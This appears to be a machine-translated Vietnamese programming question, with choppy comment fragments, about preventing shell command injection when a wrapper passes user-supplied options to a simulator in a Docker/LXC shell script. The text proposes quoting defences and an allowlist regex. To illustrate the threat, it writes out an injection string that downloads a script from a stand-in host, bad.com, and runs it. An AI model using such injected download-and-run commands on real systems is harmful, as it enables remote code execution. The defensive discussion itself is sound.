Tôi có một ứng dụng trình bao bọc, nơi tôi cần cho phép người dùng chỉ định các tùy chọn tùy chỉnh để chuyển đến một trình giả lập. Tuy nhiên, tôi muốn đảm bảo rằng người dùng không tiêm các lệnh khác thông qua các tùy chọn người dùng. Cách tốt nhất để thực hiện điều này là gì?
Ví dụ.
- Người dùng cung cấp:
-a -b
- Ứng dụng thực thi:
mysim --preset_opt -a -b
Tuy nhiên, tôi không muốn điều này xảy ra:
- Người dùng cung cấp:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Ứng dụng thực thi:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Hiện tại, tôi nghĩ rằng tôi chỉ đơn giản là có thể bao quanh mọi tùy chọn do người dùng cung cấp với các dấu ngoặc đơn '
và loại bỏ bất kỳ dấu ngoặc đơn nào do người dùng cung cấp, để lệnh trong ví dụ trước biến thành vô hại:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Lưu ý: mysim
Lệnh thực thi như một phần của tập lệnh shell trong bộ chứa docker / lxc. Tôi đang chạy Ubuntu.
eval
. Tôi đang gọi chương trình thực thi mysim
bên trong tập lệnh shell. Tôi đang thấy việc tiêm xảy ra nếu tôi chỉ cần sao chép chuỗi tùy chọn mà người dùng cung cấp và dán vào cuối mysim
lệnh.
-a -b
. Vì vậy, tôi đang tìm cách đảm bảo rằng các lệnh bổ sung không được đưa vào chuỗi đó.
[a-zA-Z0-9 _-]
trông giống như một sự lựa chọn phòng thủ khá.
eval
để chạy ứng dụng? Nếu không, tiêm không nên xảy ra:x="&& echo Doomed" ; echo $x